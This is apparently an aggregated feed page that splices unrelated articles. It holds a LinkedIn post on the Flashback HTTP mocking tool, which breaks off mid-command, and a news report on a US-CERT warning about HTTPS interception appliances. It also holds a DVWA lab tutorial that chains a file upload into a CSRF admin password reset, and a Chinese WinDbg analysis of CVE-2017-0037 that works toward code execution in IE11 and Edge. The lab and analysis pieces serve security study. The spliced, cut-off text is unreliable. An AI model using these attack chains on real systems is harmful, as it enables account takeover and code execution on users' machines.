intercepting HTTP connections initiated by a web application, and then later replaying them. For a test, Betamax can be used to replace any interaction over HTTP with previously recorded responses, which can be served very reliably.

Initially, we chose to use Betamax in our test automation at LinkedIn. It worked quite well, but we ran into a few problems, such as:

For security reasons, our test environment does not have internet access; however, as with most proxies, Betamax requires an internet connection to function properly.

We have many use cases that require using authentication protocols, such as OAuth and OpenId. Some of these protocols require complex interactions over HTTP. In order to mock them, we needed a sophisticated model for capturing and replaying the requests.

To address these challenges, we decided to build upon ideas established by Betamax and create our own internet mocking tool, called Flashback. We are also proud to announce that Flashback is now open source.

What is Flashback?

Flashback is designed to mock HTTP and HTTPS resources, like web services and REST APIs, for testing purposes. It records HTTP/HTTPS requests and plays back a previously recorded HTTP transaction―which we call a "scene"―so that no external connection to the internet is required in order to complete testing.

Flashback can also replay scenes based on partial matching of requests. It does so using “match rules.” A match rule associates an incoming request with a previously-recorded request, which is then used to generate a response. For example, the following code snippet implements a basic match rule, where the test method “matches” an incoming request via the URL.

HTTP requests generally contain a URL, method, headers, and body. Flashback allows match rules to be defined for any combination of these components. Flashback also allows users to add whitelist or blacklist labels to URL query parameters, headers, and the body.

For instance, in an OAuth authorization flow, the request query parameters may look like the following:

oauth_consumer_key="jskdjfljsdklfjlsjdfs",

oauth_nonce="ajskldfjalksjdflkajsdlfjasldfja;lsdkj",

oauth_signature="asdfjaklsdjflasjdflkajsdklf",

oauth_signature_method="HMAC-SHA1",

oauth_timestamp="1318622958",

oauth_token="asdjfkasjdlfajsdklfjalsdjfalksdjflajsdlfa",

oauth_version="1.0"

Many of these values will change with every request, since OAuth requires clients to generate a new value for oauth_nonce every time. In our testing, we need to verify values of oauth_consumer_key, oauth_signature_method, and oauth_version while also making sure that oauth_nonce, oauth_signature, oauth_timestamp, and oauth_token exist in the request. Flashback gives us the ability to create our own match rules to achieve this goal. This feature lets us test requests with time-varying data, signatures, tokens, etc. without any changes on the client side.

This flexible matching and the ability to function without connecting to the internet are the attributes that separate Flashback from other mocking solutions. Some other notable features include:

Flashback is a cross-platform and cross-language solution, with the ability to test both JVM and non-JVM (C++, python, etc.) apps.

Flashback can generate SSL/TLS certificates on the fly to emulate secured channels for HTTPS requests.

How to record an HTTP transaction

Recording an HTTP transaction for later playback using Flashback is a relatively straightforward process. Before we dive into the procedure, let us first lay out some terminology:

A Scene stores previously-recorded HTTP transactions (in JSON format) that can be replayed later ( example ).

The Root Path is the file path of the directory that contains the Flashback scene data.

A Scene Name is the name of a given scene.

A Scene Mode is the mode in which the scene is being used―either “record” or “playback.”

A Match Rule is a rule that determines if the incoming client request matches the contents of a given scene.

Flashback Proxy is an HTTP proxy with two modes of operation, record and playback.

Host and port are the proxy host and port.

In order to record a scene, you must make a real, external request to the destination, and the HTTPS request and response will then be stored in the scene with the match rule that you have specified. When recording, Flashback behaves exactly like a typical “Man in the Middle” (MITM) proxy―it is only in playback mode that the connection flow and data flow are restricted to just between the client and the proxy.

To see Flashback in action, let us create a scene that captures an interaction with example.org by doing the following:

Step 1: Checkout Flashback source code: `git clone https://github.com/linkedin/flashback.git `

Step 2: Start the Flashback admin server: `./startAdminServer.sh -port 1234`

Step 3: Start Flashback Proxy:

Note the Flashback example above will be started in record mode on localhost, port 5555. The match rule requires an exact match (match HTTP body, headers, and URL). The scene will be stored under /tmp/test1.

Step 4: Flashback is now ready to record, so use it to proxy a request to example.org: `curl http://www.example.org -x localhost:5555 -X GET`

Step 5: Flashback can (optionally) record multiple requests in a single. To finish recording,shutdown Flashback: `curl "

Warning: Your networking tools are weakening your web security

$
0
0

Warning: Your networking tools are weakening your web security

As more of the internet adoptsHTTPS everywhere to secure communications, enterprises rely on inspection tools to examine encrypted traffic to make sure it doesn't contain malicious activity. Unfortunately, the very devices intended to verify the security of networking communications appear to be undermining HTTPS, US-CERT warned.

"All systems behind a HTTPS interception product are potentially affected," the Department of Homeland Security's United States Computer Emergency Response Team wrote in its advisory.

The advisory refers to interception products, including inline network appliances like firewalls, secure web gateways, and data-loss prevention products; client-side software like antivirus; and cloud-based inspection services. Networking and security vendors likeBlue Coat, Barracuda, Cisco, Microsoft, Sophos, Arbor Networks, Check Point, Symantec, F5 Networks, Fortinet, IBM Security, Juniper, Trustwave, and Trend Micro include TLS (Transport Layer Security)/SSL (Secure Socket Layer) inspection in their products.

While US-CERT didn't outright tell organizations to stop using these inspection products, it did advise them to ensure that the products they've deployed are performing correct TLS certificate validation. Enterprises shouldn't assume that just because the products are from recognizable brands, everything is working as expected. That doesn't appear to be the case for several popular products.

These interception products sit between clients and servers and intercept all encrypted traffic going in and out of the network, decrypt the traffic, inspect the contents, re-encrypt the traffic, and then forward the stream to the intended destination. It's basically an authorized man-in-the-middle attack, but it's necessary for enterprises because it lets administrators see what may be hiding within legitimate traffic. Online attackers are increasingly encrypting their activities, whether it's malware communicating with command-and-control servers, crimeware kits being downloaded to the compromised endpoint, or files being transferred out of the network, and defenders need a way to see and block them.

TLS and the older SSL rely on digital certificates issued by a trusted party to encrypt all communications between a client and server and to verify the server was the client's intended destination. If there's something wrong with the certificate, the browser is supposed to display warnings to the user. CERT's warning is based on the fact that in networks where interception products have been deployed, the client is no longer taking directly to the target server.

The browser can see that the connection from the client to that interception product is legitimate, but it can't tell if the rest of the connection is still secure or if it has been compromised. There's no way for the browser on the client side of this equation to see how the product is validating certificates, what ciphers it's using to connect to the server, or whether an attacker has gotten between the product and the server.

"Because the HTTPS inspection product manages the protocols, ciphers, and certificate chain, the product must perform the necessary HTTPS validations," the advisory said. "Failure to perform proper validation or adequately convey the validation status increases the probability that the client will fall victim to MITM [man-in-the-middle] attacks by malicious third parties." Popular products fail at security

CERT cited an academic research paper written by researchers at Google, Mozilla, Cloudflare, the University of Michigan, the University of Illinois, the University of California-Berkeley, and the International Computer Science Institute as the basis of its alert. Titled "The Security Impact of HTTPS Interception," the paper found that network monitoring and security products that can inspect HTTPS traffic often degrade secure communications between clients and servers.

Researchers tested a range of the most common inspection tools and found the majority of them "drastically reduce" the security of TLS connections. The figures are eye-popping: 97 percent of Firefox, 32 percent of e-commerce, and 54 percent of Cloudflare connections that were intercepted by these tools became less secure. Proxies increased connection security for older clients, but the improvements "were modest compared to the vulnerabilities introduced," the researchers said.

An even more damning indictment of network appliances: "A large number of these severely broken connections were due to network-based middleboxes rather than client-site security software."

Of the 12 appliances tested, only the Blue Coat ProxySG 6642 achieved an A rating. Five -- A10 vThunder SSL Insight, Checkpoint Threat Prevention, Cisco IronPort Web Security, Microsoft Threat Management Gateway, and WebTitan Gateway -- introduced "severe vulnerabilities that would enable future interception by a man-in-the-middle attacker" and were given F ratings. Appliances from A10 and Cisco advertised export ciphers, Checkpoint allowed expired certificates, and Microsoft and WebTitan had broken certificate validation.

Barracuda 610Vx Web Filter, Forcepoint TRITON AP-WEB Cloud, Fortinet FortiGate 5.4.0, Juniper SRX Forward SSL Proxy, Sophos SSL Inspection, and Untangle NG Firewall got C grades. Barracuda and Forecepoint appliances were vulnerable to the Logjam attack, the others advertised RC4 ciphers.

The default configurations for all the appliances tested, other than Blue Coat, weakened connection security, the researchers found. Both the installation process and configuration are difficult on these appliances, and the poor usability is likely the reason why there were so many "abysmal configurations" in real-world networks, the researchers said.

Several manufacturers told the researchers that "secure product configuration was a customer responsibility and that they would not be updating their default configuration." Contrast that to A10's response, which introduced a configuration wizard recommending a "more sane set of cipher suites" last May.

Ten of the appliances supported vulnerable RC4-based ciphers, and five didn't support modern ciphers. This means the client may initiate the connection using a strong cipher, but the appliance would downgrade the connection to a weaker one to finish the rest of the path to the server. Several of the manufacturers told researchers they have deployed updates, and others indicated plans to deprecate RC4 and support modern cipher suites. For example, Fortinet patched the Logjam vulnerability in version 5.4.1, which was released in September 2016.

Administrators using any of the HTTPS inspection products tested in this paper should check version numbers since it's possible the problems have been addressed since the original testing period. If updates are available, they should be applied.

Will Dormann , a senior vulnerability analyst at CERT, echoed the researchers' warnings that inspection products frequently make poor security decisions, such as improperly verifying the server's certificate chain before re-encrypting and forwarding traffic, so clients don't know if they connected to the legitimate server. Some products don't forward the results of the certificate-chain verification, so everyone thinks everything went smoothly even if there were issues with that session. Another common mistake was completing the connection to the target server before displaying the warnings, at which point an attacker can still modify or view the information.

Bypass CSRF Medium Security in DVWA

$
0
0

In previous article we have discussed about how to bypass low level security if a web application server is suffering from cross site request forgery (CSRF). Today we will see how to exploit a web application server with CSRF attack if the security level get increased or say set to medium and try to change the password of admin without his permission.

Let’s start!!!

Again I have target DVWA for this tutorial and by default the credential set for it is admin: password . As you can see I have used them for login in DVWA


Bypass CSRF Medium Security in DVWA

Set security level medium select the bug cross site request forgery as current vulnerability. Here you see the text fields are given for changing the password of the database for user admin.


Bypass CSRF Medium Security in DVWA

If you remembered in the previous article we have executed csrf.html file to change the password for admin when security level is low.

In following screenshot you can see I have given value= “hacker” as new password and confirm password.


Bypass CSRF Medium Security in DVWA

Now I am going to test whether the same file csrf.html would be capable to change the password for admin when security level is medium . From screenshot you can see I try to execute csrf.html file which might reset the password.


Bypass CSRF Medium Security in DVWA

As result you can see I didn’t successes to bypass medium security using csrf.html and got an error message “ that request didn’t look correct ”. Hence the technique which we have used in low security will get failed in medium security level.


Bypass CSRF Medium Security in DVWA

Sometimes it might be possible that a web application server may have more than one vulnerabilities in it. It could be a big advantage because making use of other vulnerability we can perform an action to execute our malicious file through it.

Now first of all change csrf.html into csrf.php file, then set low security level and switch into file uploading vulnerability inside DVWA.

Here the above text file of html form is now saved as csrf.php is successfully uploaded in the server which you can see from given screenshot.


Bypass CSRF Medium Security in DVWA

Now browse the path 192.168.1.102:81/dvwa/hackable/uploads/csrf.php in URL to execute csrf.php file and click on change button.


Bypass CSRF Medium Security in DVWA

GREAT!!!

From screenshot you can see without admin permission we have successfully changed his password.


Bypass CSRF Medium Security in DVWA

Now let’s verify, as we know the previous credential was admin: password ; here when I try to use them it shows the login failed.


Bypass CSRF Medium Security in DVWA

Further when I try with admin: hacker as current credential, I login successfully inside DVWA. This was all about CSRF tutorial to bypass medium security in DVWA.


Bypass CSRF Medium Security in DVWA

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

$
0
0
【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

2017-03-20 10:33:06
来源:whereisk0shl.top 作者:k0shl

阅读:105次
点赞(0)
收藏





【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

前言

前段时间Google Project Zero(PJ0)曝光了一个关于IE11和Edge的一个类型混淆造成代码执行的漏洞,微软至今未推出关于这个漏洞的补丁,我对这个漏洞进行了分析,并且通过PoC构造了半个Exploit,为什么是半个呢,首先这个漏洞攻击面比较窄,只能控制Array里+0x4位置的值,通过类型混淆会认为这个值是一个指针,随后会调用指针某偏移处的虚函数,当我们能够控制这个指针的值的时候,虚函数也能够得到控制。这样就能劫持程序流,达到代码执行的效果。但这其中涉及到一个ASLR的问题,由于地址随机化,导致我们就算控制跳转之后,无法通过info leak来构造ROP,也就是DEP也无法绕过。

这里我也有考虑到袁哥的DVE,但由于我们并没有RW primitives,因此我们控制关键指针的条件太有限,导致想通过GodMod来执行脚本的方法似乎也不太可行(或者我没有发现?求大牛指教!)。

因此这里,我写了一个在关闭DEP时可以使用的exploit,并且和大家一起分享从PoC到Exp的整个过程,不得不说过程还是很麻烦的,因为想寻找这个Array+0x4位置的控制值如何能够DWORD SHOOT,我跟了Layout::TableBoxBuilder类下的很多函数。

PJ0 CVE-2017-0037 PoC地址:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1011

目前来看,微软并没有更新这个exp的补丁,但是有人利用0patch修补了这个漏洞,其实我看起来感觉不太像从根本上解决了这个漏洞的问题:

https://0patch.blogspot.jp/2017/03/0patching-another-0-day-internet.html

尽管这个Type Confusion攻击面有限,但是Type Confusion这种漏洞是非常常见的,它的原理一般情况下是由于函数处理时,没有对对象类型进行严格检查,导致可以通过某些手段来造成类型混淆,通过对其他可控类型的控制可以达到代码执行的效果,甚至任意内存读写,比如Memory Corruption。

好啦,不多说了!下面我们来进入今天的分析,首先我们漏洞分析的环境:

windows7x64sp1build7601 IE11.0.9600.17843
【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

漏洞分析

首先漏洞的关键出现在boom()中,在PoC中定义了一个table表,其中在标签中定义了表id为th1,在boom()函数中引用到,随后通过setInterval设定事件。

运行PoC,可以捕获到漏洞崩溃,附加Windbg。

0:003:x86>r eax=00000038ebx=0947ffb0ecx=0947ffb0edx=00000002esi=00000064edi=6e65c680 eip=6e20fc87esp=086abdc0ebp=086abdeciopl=0nvupeiplnznaponc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00010202 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36: 6e20fc87833800cmpdwordptr[eax],0ds:002b:00000038=????????

可以看到,这里eax作为指针,引用了一处无效地址,从而引发了崩溃,直接回溯崩溃位置的上下文,可以看到,在cmp汇编指令之前,调用了一处函数Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable。

而eax寄存器正是Readable函数的返回值。我们在这个函数call调用位置下断点,重新执行windbg。

0:007:x86>r eax=0a020590ebx=007e79f0ecx=007e79f0edx=007e79f0esi=00000064edi=69ad8080 eip=6968fc82esp=0900b878ebp=0900b8a4iopl=0nvupeiplnznaponc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31: 6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)

可以看到,ecx寄存器作为第一个参数,看一下这个参数存放的对象。

0:007:x86>dpsecx 007e79f068d82230MSHTML!Layout::FlowItem::`vftable' 007e79f400000000//这个值将会在Readable函数中引用 007e79f800000009 007e79fc007ec8d4 007e7a000a020660 007e7a0400000064 007e7a0800000064 007e7a0c007e79f0 007e7a10007e79f0 007e7a1468d82230MSHTML!Layout::FlowItem::`vftable' 007e7a1800000000 007e7a1c00000009 007e7a20007ec8d4 007e7a240a01fc60 007e7a2800000000 007e7a2c00000000 007e7a30007e7a14 007e7a34007e7a14

这个参数存放的对象是一个Layout::FlowItem::`vftable虚表,随后通过IDA来分析一下这个函数的功能。

int__thiscallLayout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(intthis) { intv1;//eax@2 intresult;//eax@4 if(*(_BYTE*)(*(_DWORD*)(__readfsdword(44)+4*_tls_index)+36)) //gettlsarray { result=this+16; } else { v1=*(_DWORD*)(this+4); if(!v1)//这个位置会检查this+0x4位置的值,如果为0,则进入处理 v1=this;//获取vftablepointer result=v1+16; } returnresult; }

这里,读取虚表+0x4位置的值为0,因此会执行if(!v4)中的逻辑,会将this指针交给v1,随后v1+0x10后返回,因此,Layout::FlowItem::`vftable所属指针的这个情况是正常的情况,函数会正常返回进入后续处理逻辑。

0:007:x86>p MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x1e: 68dbed1683c010addeax,10h 0:007:x86>p MSHTML!Layout::Patchable<Layout::SharedBoxReferenceDataMembers>::Readable+0x21: 68dbed19c3ret//函数正常返回 0:007:x86>reax eax=007e7a00 0:007:x86>dpseax 007e7a000a020660 007e7a0400000064 007e7a0800000064 007e7a0c007e79f0 007e7a10007e79f0 0:007:x86>p Breakpoint0hit//这个地方会引用正常的值 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36: 6968fc87833800cmpdwordptr[eax],0ds:002b:007e7a00=0a020660

直接继续执行,程序会第二次命中Readable函数,这次来看一下ecx中存放的对象。

0:007:x86>r eax=0a020000ebx=0a020120ecx=0a020120edx=00000000esi=00000064edi=69adc680 eip=6968fc82esp=0900b878ebp=0900b8a4iopl=0nvupeiplnznaponc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31: 6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4) 0:007:x86>dpsecx 0a02012000000000 0a02012400000028 0a02012800000050 0a02012c00000078 0a020130000000a0 0a020134000000c8 0a020138a0a0a0a0 0a02013ca0a0a0a0

这次存放的对象并非是一个虚表对象,这个对象是一个int Array的维度对象,这样我们通过条件断点来跟踪两个对象的创建过程。我们重点关注两个对象创建的函数,一个是FlowItem::`vftable对应的虚表对象,另一个是引发崩溃的int Array对象。这两个函数的返回值,也就是eax寄存器中存放的就是指向这两个创建对象的指针。

MSHTML!Array<Math::SLayoutMeasure>::Create MSHTML!Array<SP<Tree::TableRowGroupBlock>>::Create

通过对这两个对象进行跟踪,我们可以看见到对象的创建,以及后续引用对象,导致Type Confusion。

//下条件断点,打印每一次intArrayobject创建的信息 0:007:x86>bp6912e1fb".printf\"Something:0x%08x,0x%08x\\n\",@eax,poi(eax);g;" //对象被不断创建 0:007:x86>g Something:0x088abc84,0x0098c788 Something:0x088abc84,0x09806790 Something:0x088abc84,0x097d9010 Something:0x088abc5c,0x097dafd8 Something:0x088abc84,0x097ce050 Something:0x088abc84,0x098026e0 Something:0x088abc84,0x098044c8 Something:0x088abc84,0x097ff540 Something:0x088abc5c,0x097d5058 Something:0x088abafc,0x097cab00 Something:0x088abafc,0x0980a690//key!! Breakpoint1hit MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31: 6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4) 0:007:x86>r//第一次命中时,是正常的FlowItem对象 eax=0980aa80ebx=0094d364ecx=0094d364edx=0094d364esi=00000064edi=69ad8080 eip=6968fc82esp=088abb28ebp=088abb54iopl=0nvupeiplnznaponc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31: 6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4) 0:007:x86>g Breakpoint1hit MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31: 6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4) 0:007:x86>r//第二次命中时,注意ecx寄存器的值,0x0980a690 eax=0980a570ebx=0980a690ecx=0980a690edx=00000000esi=00000064edi=69adc680 eip=6968fc82esp=088abb28ebp=088abb54iopl=0nvupeiplnznaponc cs=0023ss=002bds=002bes=002bfs=0053gs=002befl=00000202 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31: 6968fc82e86df072ffcallMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(68dbecf4)

果然第二次命中的时候,是一个int Array Object。因此,这个漏洞就是由于Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable函数是处理虚表对象的函数,但是由于boom()函数中引用th1.align导致Readable函数第二次引用,由于没有对对象属性进行检查,导致第二次会将table对象传入。

这就是一个典型的Type Confusion。

而Readable会将这个对象当作虚表对象处理,而这个int Array维度对象我们可以控制,从而通过控制Readable返回值来达到代码执行。


Exploitation Surface

如果想利用这个漏洞,我们需要分析一下攻击面,首先是我们可控的位置是什么(也就是在之前我提到的int Array的维度),这个可控的位置是否有利用点,有哪些防护,是否有可能绕过等等。

首先我们来看一下利用位置的上下文。

cmpdwordptr[eax],0 jeMSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d83 movecx,ebx callMSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable movdwordptr[ebp-10h],esp movebx,dwordptr[eax] moveax,dwordptr[ebx] movedi,dwordptr[eax+1A4h] movecx,edi calldwordptr[MSHTML!__guard_check_icall_fptr] movecx,ebx calledi

可看到,在eax作为指针返回后,会在后续继续调用到一个Readable函数,而在这个函数后返回后,eax会连续传递,最后调用到call edi,引用这个虚函数。

也就是说,一旦我们可以控制这个指针,我们就有可能在call edi位置达到代码执行的效果。

而可以看到,在call edi之前,有一处call __guard_check_icall_fptr,这是Windows新的防护机制CFG,在执行虚函数调用前,会检查虚函数。


【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

由于我们调试环境是Win7,CFG只在高版本的Windows中启用,比如win8和win10,因此这处CFG check在Win7环境下并没有实际作用,是在Win8和Win10高版本开启后,为了向下兼容,而在Win7中加入的这处函数调用。

因此,我们简单分析一下我们的攻击面,首先我们可控的位置是int Array Object+0x4位置的值,这个值控制范围有限,因此我们似乎不能通过这种方法来获得任意地址的读写能力,因此对于我们来说ASLR对于这个漏洞来说不好绕过。ASLR和DEP不好绕过。

接下来,我们要分析的就是,如何控制这个值。这个对象经过我们刚才的分析,是由MSHTML!Array<Math::SLayoutMeasure>::Create函数创建的对象,但赋值并非在这个位置。在分析的过程中,我对Layout中的大量类函数进行了跟踪分析,这里我将通过正向来直接跟大家展示这个值是从什么位置来的。

跟踪TableBoxBuilder结构体

这里,我们稍微修改一下PoC,主要是对th1对象中的width值进行修改。

<thid="th1"colspan="5"width=10000></th>

下面调试过程中,由于多次重启,堆地址值有所变化,但不影响分析。

首先,我们要关注的是一个名为FlowBoxBuilder的对象,这个对象偏移+0x124的位置将会存放Width值生成的一个size。在Layout::FlowBoxBuilder::FlowBoxBuilder函数中,这个结构体对象被创建。

0:007:x86>p MSHTML!Layout::FlowBoxBuilder::FlowBoxBuilder+0xe: 67c70ae48bd9movebx,ecx//对象位置被初始化 0:007:x86>recx ecx=09a42ad8 0:007:x86>dd09a42ad8+124//对应位置的成员变量已经被初始化 09a42bfce0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0 0:007:x86>baw109a42ad8+124//对+0x124位置下写入断点 0:007:x86>g Breakpoint4hit MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing+0x11b: 67b18c75f3a5repmovsdwordptres:[edi],dwordptr[esi] 0:007:x86>dd09a42ad8+124//可以看到在InitializeBoxSizing函数中被赋值 09a42bfc00989680=1000000

可以看到,在MSHTML!Layout::FlowBoxBuilder::InitializeBoxSizing函数中,FlowBoxBuilder+0x124位置被赋值。赋值的内容是0x989680,就是1000000,这个值又是从哪里来的呢?在MSHTML中有一个函数MSHTML!Layout::ContainerBoxBuilder::ComputeBoxModelForChildWithUsedWidth,这个计算会将table的width*100。

如上面的代码片段,FlowBoxBuilder在InitializeBoxSizing中初始化之后,偏移+0x124位置会将ComputeBoxModelForChildWithUsedWidth函数的计算值保存。

随后这个值会加上200,之后这个值回存入结构体中,然后会存放在FlowBoxBuilder结构体+0x114的位置。

67b0201a8906movdwordptr[esi],eax 0:007:x86>g Breakpoint7hit MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13: 67b0201c85c9testecx,ecx 0:007:x86>dd09b40948+114// 09b40a5c09b778d000000000e0e0e0e000000000//在FlowBoxBuilder+0x114位置存放了一个结构体 09b40a6c00989874//+200之后依然存放在FlowBoxBuilder+0x124的位置 0:007:x86>dd09b778d0 09b778d067e6c5740000000109b3656009b6f968//结构体+0xc位置存放着目标结构体,这个结构体其实就是一个intArray结构,这个结构会在后续调用中用到。 09b778e000989874 0:007:x86>dd09b6f968 09b6f96800000000001e84a8003d0950005b8df8 09b6f978007a12a000989748a0a0a0a0a0a0a0a0 09b6f98800000000000000004c762d5c000c2ca7 09b6f99809b5a4a809b71a68f0f0f0f0f0f0f0f0 09b6f9a8f0f0f0f0f0f0f0f0a0a0a0a0a0a0a0a0 09b6f9b8000000000000000059752d4a140c2caa 09b6f9c8abcdaaaa80411000000000440000006c 09b6f9d809b6fa5809b6f91004d67e6cdcbaaaaa 0:007:x86>kb//调用逻辑 ChildEBPRetAddrArgstoChild 08efb8f467e6c0fc09b778d008efbd5409b409d0MSHTML!TSmartPointer<Tree::TextBlock>::operator=+0x13 08efb94067e6c03e090b82f809b4090009b40a20MSHTML!Layout::SBoxModel::CalculateFullBoxModelForTable+0x9f 08efb9bc67b1a3dc090b82f809b4090009b40a20MSHTML!Layout::SBoxModel::CalculateFullBoxModel+0x270 08efbac467b1236508efbd540001f40008efbcecMSHTML!Layout::FlowBoxBuilder::BuildBoxItem+0x25a

到此,我们完成了对FlowBoxBuilder结构体关键成员变量的赋值,这个成员变量会在后续调用中,进入很关键的TableBoxBuilder结构体,我们关键的Array位置存放在FlowBoxBuilder+0x114的指针内偏移为+0xc的指针处,接下来我们进入TableBoxBuilder类函数跟踪。

+0xc的这个Array会在TableBoxBuilder::InitialBoxSizing函数中交给TableBoxBuilder结构体+0x294的位置。

0:007:x86>p MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5c: 67e766ac8d460cleaeax,[esi+0Ch]//esi存放的就是FlowBoxBuilder+0x114的指针 //+0xc位置存放的就是Array结构体 0:007:x86>p MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x5f: 67e766af50pusheax 0:007:x86>p MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x60: 67e766b08d8b94020000leaecx,[ebx+294h]//ebx存放的是TableBoxBuilder+0x294的指针地址 0:007:x86>p//调用SArray::operator MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x66: 67e766b6e879e6c4ffcallMSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator=(67ac4d34)//esi+0c 0:007:x86>dd0963ba2c//esi+0xc的值 0963ba2c00a2beb000000000e0e0e0e000000000 0:007:x86>dda2beb0 00a2beb000000000001e84a8003d0950005b8df8 00a2bec0007a12a000989748a0a0a0a0a0a0a0a0 在MSHTML!SArray<Layout::TableGridBox::SRowGroupInfo>::operator函数中,会完成对TableBoxBuilder+0x294位置的赋值,就是将上面代码中esi+0xc的值,交给TableBoxBuilder+0x294。 0:007:x86>g Breakpoint4hit MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a: 67ac4d4e85c9testecx,ecx 0:007:x86>dd09d7ff30+294//偏移294位置存放着TableBoxBuilder中的size部分,用于赋值给TypeConfusion的对象 09d801c409d7da3000000000e0e0e0e000000000 09d801d400000000a0a0a0a0a0a0a0a009d7f868 0:007:x86>dd09d7da30//已经完成了Size的赋值操作 09d7da3000000000001e84a8003d0950005b8df8 09d7da40007a12a000989748a0a0a0a0a0a0a0a0 0:007:x86>kb ChildEBPRetAddrArgstoChild 08e7b87867e766bb09da48bc08e7bbbc08e7b8a8MSHTML!SArray<Math::SLayoutMeasure>::operator=+0x1a 08e7b89067ccb346051d2fd8051d2f8809da48b0MSHTML!Layout::TableBoxBuilder::InitializeBoxSizing+0x6b

在最后漏洞触发位置的MSHTML!Layout::TableGridBox::InitializeColumnData函数中,会完成对我们漏洞触发位置的Type Confusion的结构体内容的赋值。

6912e2268b8394020000moveax,dwordptr[ebx+294h]ds:002b:0924592c=09245598//whatisebxandebx+294ebxisstructLayout::TableBoxBuilder 6912e22c8b0emovecx,dwordptr[esi]//获取我申请的堆指针 6912e22e8b0490moveax,dwordptr[eax+edx*4]//计算TableBoxBuilder对应294位置的值+索引*sizeof 6912e231890491movdwordptr[ecx+edx*4],eax//将这个值交给申请堆指针对应索引的位置 6912e23442incedx//edx=edx+1//自加1 6912e2353bd7cmpedx,edi//checklenth检测是否已经到达我申请的堆大小 6912e2377cedjlMSHTML!Layout::TableGridBox::InitializeColumnData+0x6c(6912e226)

可能大家这个时候有点乱了,下面我将用一个流程图来展示一下结构体的赋值过程。大致就是首先会通过计算获得Width的一个size,计算方法是:Width*100+200,随后,会将这个值保存在一个Array里,这个Array的大小后面会讲到。之后会将这个Array存入一个指针偏移+0xc的位置,交给FlowBoxBuilder结构体+0x114的位置。之后,会赋值给TableBoxBuilder结构体+0x294位置,最后会交给漏洞触发位置申请的堆指针。


【漏洞分析】CVE-2017-0037:IE11&Edge Type Confusion从PoC到半个Exploit

而经过我们上面的分析,产生漏洞的位置在这个Array+0x4位置,我们也需要通过table的条件控制这个位置的值,才能达到利用。


控制Array结构到漏洞利用

通过上面的跟踪,我们知道了id=th1的Table中的Width可以控制一个Array结构,但是我们也发现Array结构并非单独只包含一个Width计算得到的值。

0:007:x86>dd9bc7038 <thid="th1"colspan="5"width=1000></th>// 09bc70380000000000004e4800009c900000ead8 09bc70480001392000018768a0a0a0a0a0a0a0a0

可以看到,Array结构是有一个大小的,其实,这个Array中存放的值,取决于width,而大小取决于colspan,这个colspan为5的情况下,Array中存放了5个值,而我们需要控制的是Array+0x4这个位置的值,这样的话,我们将colspan的大小修改为1,并且修改Width的值。

